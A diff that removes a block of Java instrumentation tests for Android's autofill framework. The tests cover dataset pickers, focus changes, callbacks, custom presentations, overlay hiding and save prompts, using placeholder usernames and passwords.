-        Log.v(TAG,
-                "Username2 at " + usernameBoundaries2 + "; picker at " + usernamePickerBoundaries2);
-
-        // And back to the password again..
-        final Rect passwordBoundaries2 = mUiBot.selectByRelativeId(ID_PASSWORD).getVisibleBounds();
-        callback.assertUiHiddenEvent(username);
-        callback.assertUiShownEvent(password);
-        final Rect passwordPickerBoundaries2 = mUiBot.assertDatasets("SWEET").getVisibleBounds();
-        Log.v(TAG,
-                "Password2 at " + passwordBoundaries2 + "; picker at " + passwordPickerBoundaries2);
-
-        // Assert final state matches initial...
-        // ... for username
-        assertWithMessage("Username2 at %s; Username1 at %s", usernameBoundaries2,
-                usernamePickerBoundaries1).that(usernameBoundaries2).isEqualTo(usernameBoundaries1);
-        assertWithMessage("Username2 picker at %s; Username1 picker at %s",
-                usernamePickerBoundaries2, usernamePickerBoundaries1).that(
-                usernamePickerBoundaries2).isEqualTo(usernamePickerBoundaries1);
-
-        // ... for password
-        assertWithMessage("Password2 at %s; Password1 at %s", passwordBoundaries2,
-                passwordBoundaries1).that(passwordBoundaries2).isEqualTo(passwordBoundaries1);
-        assertWithMessage("Password2 picker at %s; Password1 picker at %s",
-                passwordPickerBoundaries2, passwordPickerBoundaries1).that(
-                passwordPickerBoundaries2).isEqualTo(passwordPickerBoundaries1);
-
-        // Final validation check
-        callback.assertNumberUnhandledEvents(0);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
-    public void testAutoFillTwoDatasetsSameNumberOfFields() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "DUDE")
-                        .setField(ID_PASSWORD, "SWEET")
-                        .setPresentation(createPresentation("THE DUDE"))
-                        .build())
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-
-        // Make sure all datasets are available...
-        mUiBot.assertDatasets("The Dude", "THE DUDE");
-
-        // ... on all fields.
-        requestFocusOnPassword();
-        mUiBot.assertDatasets("The Dude", "THE DUDE");
-
-        // Auto-fill it.
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
-    public void testAutoFillTwoDatasetsUnevenNumberOfFieldsFillsAll() throws Exception {
-        autoFillTwoDatasetsUnevenNumberOfFieldsTest(true);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
-    public void testAutoFillTwoDatasetsUnevenNumberOfFieldsFillsOne() throws Exception {
-        autoFillTwoDatasetsUnevenNumberOfFieldsTest(false);
-    }
-
-    private void autoFillTwoDatasetsUnevenNumberOfFieldsTest(boolean fillsAll) throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "DUDE")
-                        .setPresentation(createPresentation("THE DUDE"))
-                        .build())
-                .build());
-        if (fillsAll) {
-            mActivity.expectAutoFill("dude", "sweet");
-        } else {
-            mActivity.expectAutoFill("DUDE");
-        }
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-
-        // Make sure all datasets are available on username...
-        mUiBot.assertDatasets("The Dude", "THE DUDE");
-
-        // ... but just one for password
-        requestFocusOnPassword();
-        mUiBot.assertDatasets("The Dude");
-
-        // Auto-fill it.
-        requestFocusOnUsername();
-        mUiBot.assertDatasets("The Dude", "THE DUDE");
-        if (fillsAll) {
-            mUiBot.selectDataset("The Dude");
-        } else {
-            mUiBot.selectDataset("THE DUDE");
-        }
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
-    public void testAutoFillDatasetWithoutFieldIsIgnored() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "DUDE")
-                        .setField(ID_PASSWORD, "SWEET")
-                        .build())
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-
-        // Make sure all datasets are available...
-        mUiBot.assertDatasets("The Dude");
-
-        // ... on all fields.
-        requestFocusOnPassword();
-        mUiBot.assertDatasets("The Dude");
-
-        // Auto-fill it.
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    public void testAutoFillWhenViewHasChildAccessibilityNodes() throws Exception {
-        mActivity.onUsername((v) -> v.setAccessibilityDelegate(new AccessibilityDelegate() {
-            @Override
-            public AccessibilityNodeProvider getAccessibilityNodeProvider(View host) {
-                return new AccessibilityNodeProvider() {
-                    @Override
-                    public AccessibilityNodeInfo createAccessibilityNodeInfo(int virtualViewId) {
-                        final AccessibilityNodeInfo info = AccessibilityNodeInfo.obtain();
-                        if (virtualViewId == View.NO_ID) {
-                            info.addChild(v, 108);
-                        }
-                        return info;
-                    }
-                };
-            }
-        }));
-
-        testAutoFillOneDataset();
-    }
-
-    @Test
-    public void testAutoFillOneDatasetAndMoveFocusAround() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-
-        // Make sure tapping on other fields from the dataset does not trigger it again
-        requestFocusOnPassword();
-        sReplier.assertNoUnhandledFillRequests();
-
-        requestFocusOnUsername();
-        sReplier.assertNoUnhandledFillRequests();
-
-        // Auto-fill it.
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        // Make sure tapping on other fields from the dataset does not trigger it again
-        requestFocusOnPassword();
-        mUiBot.assertNoDatasets();
-        requestFocusOnUsernameNoWindowChange();
-        mUiBot.assertNoDatasetsEver();
-    }
-
-    @Test
-    public void testUiNotShownAfterAutofilled() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        // Make sure tapping on autofilled field does not trigger it again
-        requestFocusOnPassword();
-        mUiBot.assertNoDatasets();
-
-        requestFocusOnUsernameNoWindowChange();
-        mUiBot.assertNoDatasetsEver();
-    }
-
-    @Test
-    public void testAutofillTapOutside() throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger autofill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-        final View username = mActivity.getUsername();
-
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("The Dude");
-
-        // tapping outside autofill window should close it and raise ui hidden event
-        mUiBot.waitForWindowChange(() -> tap(mActivity.getUsernameLabel()));
-        callback.assertUiHiddenEvent(username);
-
-        mUiBot.assertNoDatasets();
-    }
-
-    @Test
-    public void testAutofillCallbacks() throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger autofill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-        final View username = mActivity.getUsername();
-        final View password = mActivity.getPassword();
-
-        callback.assertUiShownEvent(username);
-
-        requestFocusOnPassword();
-        callback.assertUiHiddenEvent(username);
-        callback.assertUiShownEvent(password);
-
-        // Unregister callback to make sure no more events are received
-        mActivity.unregisterCallback();
-        requestFocusOnUsername();
-        // Blindly sleep - we cannot wait on any event as none should have been sent
-        SystemClock.sleep(MyAutofillCallback.MY_TIMEOUT.ms());
-        callback.assertNumberUnhandledEvents(0);
-
-        // Autofill it.
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillCallbacks() is enough")
-    public void testAutofillCallbackDisabled() throws Exception {
-        // Set service.
-        disableService();
-
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Trigger auto-fill.
-        mActivity.onUsername(View::requestFocus);
-
-        // Assert callback was called
-        final View username = mActivity.getUsername();
-        callback.assertUiUnavailableEvent(username);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillCallbacks() is enough")
-    public void testAutofillCallbackNoDatasets() throws Exception {
-        callbackUnavailableTest(NO_RESPONSE);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillCallbacks() is enough")
-    public void testAutofillCallbackNoDatasetsButSaveInfo() throws Exception {
-        callbackUnavailableTest(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .build());
-    }
-
-    private void callbackUnavailableTest(CannedFillResponse response) throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Set expectations.
-        sReplier.addResponse(response);
-
-        // Trigger auto-fill.
-        mActivity.onUsername(View::requestFocus);
-        sReplier.getNextFillRequest();
-
-        // Auto-fill it.
-        mUiBot.assertNoDatasetsEver();
-
-        // Assert callback was called
-        final View username = mActivity.getUsername();
-        callback.assertUiUnavailableEvent(username);
-    }
-
-    @Test
-    public void testAutoFillOneDatasetAndSave() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        final Bundle extras = new Bundle();
-        extras.putString("numbers", "4815162342");
-
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setId("I'm the alpha and the omega")
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .setExtras(extras)
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Since this is a Presubmit test, wait for connection to avoid flakiness.
-        waitUntilConnected();
-
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-
-        // Make sure input was sanitized...
-        assertTextIsSanitized(fillRequest.structure, ID_USERNAME);
-        assertTextIsSanitized(fillRequest.structure, ID_PASSWORD);
-
-        // ...but labels weren't
-        assertTextOnly(fillRequest.structure, ID_USERNAME_LABEL, "Username");
-        assertTextOnly(fillRequest.structure, ID_PASSWORD_LABEL, "Password");
-
-        // Auto-fill it.
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-        assertViewAutofillState(mActivity.getPassword(), true);
-
-        // Try to login, it will fail.
-        final String loginMessage = mActivity.tapLogin();
-
-        assertWithMessage("Wrong login msg").that(loginMessage).isEqualTo(AUTHENTICATION_MESSAGE);
-
-        // Set right password...
-        mActivity.onPassword((v) -> v.setText("dude"));
-        assertViewAutofillState(mActivity.getPassword(), false);
-
-        // ... and try again
-        final String expectedMessage = getWelcomeMessage("dude");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-
-        // Assert the snack bar is shown and tap "Save".
-        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-
-        assertThat(saveRequest.datasetIds).containsExactly("I'm the alpha and the omega");
-
-        // Assert value of expected fields - should not be sanitized.
-        assertTextAndValue(saveRequest.structure, ID_USERNAME, "dude");
-        assertTextAndValue(saveRequest.structure, ID_PASSWORD, "dude");
-        assertTextOnly(saveRequest.structure, ID_USERNAME_LABEL, "Username");
-        assertTextOnly(saveRequest.structure, ID_PASSWORD_LABEL, "Password");
-
-        // Make sure extras were passed back on onSave()
-        assertThat(saveRequest.data).isNotNull();
-        final String extraValue = saveRequest.data.getString("numbers");
-        assertWithMessage("extras not passed on save").that(extraValue).isEqualTo("4815162342");
-    }
-
-    @Test
-    public void testAutoFillOneDatasetAndSaveHidingOverlays() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        final Bundle extras = new Bundle();
-        extras.putString("numbers", "4815162342");
-
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .setExtras(extras)
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Since this is a Presubmit test, wait for connection to avoid flakiness.
-        waitUntilConnected();
-
-        sReplier.getNextFillRequest();
-
-        // Add an overlay on top of the whole screen
-        final View[] overlay = new View[1];
-        try {
-            // Allow ourselves to add overlays
-            allowOverlays();
-
-            // Make sure the fill UI is shown.
-            mUiBot.assertDatasets("The Dude");
-
-            final CountDownLatch latch = new CountDownLatch(1);
-
-            mActivity.runOnUiThread(() -> {
-                // This overlay is focusable, full-screen, which should block interaction
-                // with the fill UI unless the platform successfully hides overlays.
-                final WindowManager.LayoutParams params = new WindowManager.LayoutParams();
-                params.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
-                params.flags = WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN;
-                params.width = ViewGroup.LayoutParams.MATCH_PARENT;
-                params.height = ViewGroup.LayoutParams.MATCH_PARENT;
-
-                final View view = new View(mContext) {
-                    @Override
-                    protected void onAttachedToWindow() {
-                        super.onAttachedToWindow();
-                        latch.countDown();
-                    }
-                };
-                view.setBackgroundColor(Color.RED);
-                WindowManager windowManager = mContext.getSystemService(WindowManager.class);
-                windowManager.addView(view, params);
-                overlay[0] = view;
-            });
-
-            // Wait for the window being added.
-            assertThat(latch.await(5, TimeUnit.SECONDS)).isTrue();
-
-            // Auto-fill it.
-            mUiBot.selectDataset("The Dude");
-
-            // Check the results.
-            mActivity.assertAutoFilled();
-
-            // Try to login, it will fail.
-            final String loginMessage = mActivity.tapLogin();
-
-            assertWithMessage("Wrong login msg").that(loginMessage).isEqualTo(
-                    AUTHENTICATION_MESSAGE);
-
-            // Set right password...
-            mActivity.onPassword((v) -> v.setText("dude"));
-
-            // ... and try again
-            final String expectedMessage = getWelcomeMessage("dude");
-            final String actualMessage = mActivity.tapLogin();
-            assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-
-            // Assert the snack bar is shown and tap "Save".
-            mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-            final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-
-            // Assert value of expected fields - should not be sanitized.
-            final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
-            assertTextAndValue(username, "dude");
-            final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
-            assertTextAndValue(password, "dude");
-
-            // Make sure extras were passed back on onSave()
-            assertThat(saveRequest.data).isNotNull();
-            final String extraValue = saveRequest.data.getString("numbers");
-            assertWithMessage("extras not passed on save").that(extraValue).isEqualTo("4815162342");
-        } finally {
-            try {
-                // Make sure we can no longer add overlays
-                disallowOverlays();
-                // Make sure the overlay is removed
-                mActivity.runOnUiThread(() -> {
-                    WindowManager windowManager = mContext.getSystemService(WindowManager.class);
-                    windowManager.removeView(overlay[0]);
-                });
-            } catch (Exception e) {
-                mSafeCleanerRule.add(e);
-            }
-        }
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
-    public void testAutoFillMultipleDatasetsPickFirst() throws Exception {
-        multipleDatasetsTest(1);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
-    public void testAutoFillMultipleDatasetsPickSecond() throws Exception {
-        multipleDatasetsTest(2);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
-    public void testAutoFillMultipleDatasetsPickThird() throws Exception {
-        multipleDatasetsTest(3);
-    }
-
-    private void multipleDatasetsTest(int number) throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "mr_plow")
-                        .setField(ID_PASSWORD, "D'OH!")
-                        .setPresentation(createPresentation("Mr Plow"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "el barto")
-                        .setField(ID_PASSWORD, "aycaramba!")
-                        .setPresentation(createPresentation("El Barto"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "mr sparkle")
-                        .setField(ID_PASSWORD, "Aw3someP0wer")
-                        .setPresentation(createPresentation("Mr Sparkle"))
-                        .build())
-                .build());
-        final String name;
-
-        switch (number) {
-            case 1:
-                name = "Mr Plow";
-                mActivity.expectAutoFill("mr_plow", "D'OH!");
-                break;
-            case 2:
-                name = "El Barto";
-                mActivity.expectAutoFill("el barto", "aycaramba!");
-                break;
-            case 3:
-                name = "Mr Sparkle";
-                mActivity.expectAutoFill("mr sparkle", "Aw3someP0wer");
-                break;
-            default:
-                throw new IllegalArgumentException("invalid dataset number: " + number);
-        }
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-
-        // Make sure all datasets are shown.
-        final UiObject2 picker = mUiBot.assertDatasets("Mr Plow", "El Barto", "Mr Sparkle");
-
-        // Auto-fill it.
-        mUiBot.selectDataset(picker, name);
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    /**
-     * Tests the scenario where the service uses custom remote views for different fields (username
-     * and password).
-     */
-    @Test
-    public void testAutofillOneDatasetCustomPresentation() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude",
-                        createPresentation("The Dude"))
-                .setField(ID_PASSWORD, "sweet",
-                        createPresentation("Dude's password"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-
-        // Check initial field.
-        mUiBot.assertDatasets("The Dude");
-
-        // Then move around...
-        requestFocusOnPassword();
-        mUiBot.assertDatasets("Dude's password");
-        requestFocusOnUsername();
-        mUiBot.assertDatasets("The Dude");
-
-        // Auto-fill it.
-        requestFocusOnPassword();
-        mUiBot.selectDataset("Dude's password");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    /**
-     * Tests the scenario where the service uses custom remote views for different fields (username
-     * and password) and the dataset itself, and each dataset has the same number of fields.
-     */
-    @Test
-    @AppModeFull(reason = "testAutofillOneDatasetCustomPresentation() is enough")
-    public void testAutofillMultipleDatasetsCustomPresentations() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder(createPresentation("Dataset1"))
-                        .setField(ID_USERNAME, "user1") // no presentation
-                        .setField(ID_PASSWORD, "pass1", createPresentation("Pass1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "user2", createPresentation("User2"))
-                        .setField(ID_PASSWORD, "pass2") // no presentation
-                        .setPresentation(createPresentation("Dataset2"))
-                        .build())
-                .build());
-        mActivity.expectAutoFill("user1", "pass1");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-
-        // Check initial field.
-        mUiBot.assertDatasets("Dataset1", "User2");
-
-        // Then move around...
-        requestFocusOnPassword();
-        mUiBot.assertDatasets("Pass1", "Dataset2");
-        requestFocusOnUsername();
-        mUiBot.assertDatasets("Dataset1", "User2");
-
-        // Auto-fill it.
-        requestFocusOnPassword();
-        mUiBot.selectDataset("Pass1");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    /**
-     * Tests the scenario where the service uses custom remote views for different fields (username
-     * and password), and each dataset has the same number of fields.
-     */
-    @Test
-    @AppModeFull(reason = "testAutofillOneDatasetCustomPresentation() is enough")
-    public void testAutofillMultipleDatasetsCustomPresentationSameFields() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "user1", createPresentation("User1"))
-                        .setField(ID_PASSWORD, "pass1", createPresentation("Pass1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "user2", createPresentation("User2"))
-                        .setField(ID_PASSWORD, "pass2", createPresentation("Pass2"))
-                        .build())
-                .build());
-        mActivity.expectAutoFill("user1", "pass1");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-
-        // Check initial field.
-        mUiBot.assertDatasets("User1", "User2");
-
-        // Then move around...
-        requestFocusOnPassword();
-        mUiBot.assertDatasets("Pass1", "Pass2");
-        requestFocusOnUsername();
-        mUiBot.assertDatasets("User1", "User2");
-
-        // Auto-fill it.
-        requestFocusOnPassword();
-        mUiBot.selectDataset("Pass1");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    /**
-     * Tests the scenario where the service uses custom remote views for different fields (username
-     * and password), but each dataset has a different number of fields.
-     */
-    @Test
-    @AppModeFull(reason = "testAutofillOneDatasetCustomPresentation() is enough")
-    public void testAutofillMultipleDatasetsCustomPresentationFirstDatasetMissingSecondField()
-            throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "user1", createPresentation("User1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "user2", createPresentation("User2"))
-                        .setField(ID_PASSWORD, "pass2", createPresentation("Pass2"))
-                        .build())
-                .build());
-        mActivity.expectAutoFill("user2", "pass2");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-
-        // Check initial field.
-        mUiBot.assertDatasets("User1", "User2");
-
-        // Then move around...
-        requestFocusOnPassword();
-        mUiBot.assertDatasets("Pass2");
-        requestFocusOnUsername();
-        mUiBot.assertDatasets("User1", "User2");
-
-        // Auto-fill it.
-        mUiBot.selectDataset("User2");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    /**
-     * Tests the scenario where the service uses custom remote views for different fields (username
-     * and password), but each dataset has a different number of fields.
-     */
-    @Test
-    @AppModeFull(reason = "testAutofillOneDatasetCustomPresentation() is enough")
-    public void testAutofillMultipleDatasetsCustomPresentationSecondDatasetMissingFirstField()
-            throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "user1", createPresentation("User1"))
-                        .setField(ID_PASSWORD, "pass1", createPresentation("Pass1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_PASSWORD, "pass2", createPresentation("Pass2"))
-                        .build())
-                .build());
-        mActivity.expectAutoFill("user1", "pass1");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-
-        // Check initial field.
-        mUiBot.assertDatasets("User1");
-
-        // Then move around...
-        requestFocusOnPassword();
-        mUiBot.assertDatasets("Pass1", "Pass2");
-        requestFocusOnUsername();
-        mUiBot.assertDatasets("User1");
-
-        // Auto-fill it.
-        mUiBot.selectDataset("User1");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testSaveOnly() throws Exception {
-        saveOnlyTest(false);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testSaveOnlyTriggeredManually() throws Exception {
-        saveOnlyTest(false);
-    }
-
-    private void saveOnlyTest(boolean manually) throws Exception {
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .build());
-
-        // Trigger auto-fill.
-        if (manually) {
-            mActivity.forceAutofillOnUsername();
-        } else {
-            mActivity.onUsername(View::requestFocus);
-        }
-
-        // Validation check.
-        mUiBot.assertNoDatasetsEver();
-
-        // Wait for onFill() before proceeding, otherwise the fields might be changed before
-        // the session started
-        sReplier.getNextFillRequest();
-
-        // Set credentials...
-        mActivity.onUsername((v) -> v.setText("malkovich"));
-        mActivity.onPassword((v) -> v.setText("malkovich"));
-
-        // ...and login
-        final String expectedMessage = getWelcomeMessage("malkovich");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-
-        // Assert the snack bar is shown and tap "Save".
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        sReplier.assertNoUnhandledSaveRequests();
-        assertThat(saveRequest.datasetIds).isNull();
-
-        // Assert value of expected fields - should not be sanitized.
-        try {
-            final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
-            assertTextAndValue(username, "malkovich");
-            final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
-            assertTextAndValue(password, "malkovich");
-        } catch (AssertionError | RuntimeException e) {
-            dumpStructure("saveOnlyTest() failed", saveRequest.structure);
-            throw e;
-        }
-    }
-
-    @Test
-    public void testSaveGoesAwayWhenTappingHomeButton() throws Exception {
-        saveGoesAway(DismissType.HOME_BUTTON);
-    }
-
-    @Test
-    public void testSaveGoesAwayWhenTappingBackButton() throws Exception {
-        saveGoesAway(DismissType.BACK_BUTTON);
-    }
-
-    @Test
-    public void testSaveGoesAwayWhenTouchingOutside() throws Exception {
-        saveGoesAway(DismissType.TOUCH_OUTSIDE);
-    }
-
-    private void saveGoesAway(DismissType dismissType) throws Exception {
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .build());
-
-        // Trigger auto-fill.
-        mActivity.onUsername(View::requestFocus);
-
-        // Validation check.
-        mUiBot.assertNoDatasetsEver();
-
-        // Wait for onFill() before proceeding, otherwise the fields might be changed before
-        // the session started
-        sReplier.getNextFillRequest();
-
-        // Set credentials...
-        mActivity.onUsername((v) -> v.setText("malkovich"));
-        mActivity.onPassword((v) -> v.setText("malkovich"));
-
-        // ...and login
-        final String expectedMessage = getWelcomeMessage("malkovich");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-
-        // Assert the snack bar is shown and tap "Save".
-        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // Then make sure it goes away when user doesn't want it..
-        switch (dismissType) {
-            case BACK_BUTTON:
-                mUiBot.pressBack();
-                break;
-            case HOME_BUTTON:
-                mUiBot.pressHome();
-                break;
-            case TOUCH_OUTSIDE:
-                mUiBot.assertShownByText(expectedMessage).click();
-                break;
-            default:
-                throw new IllegalArgumentException("invalid dismiss type: " + dismissType);
-        }
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testSaveOnlyPreFilled() throws Exception {
-        saveOnlyTestPreFilled(false);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
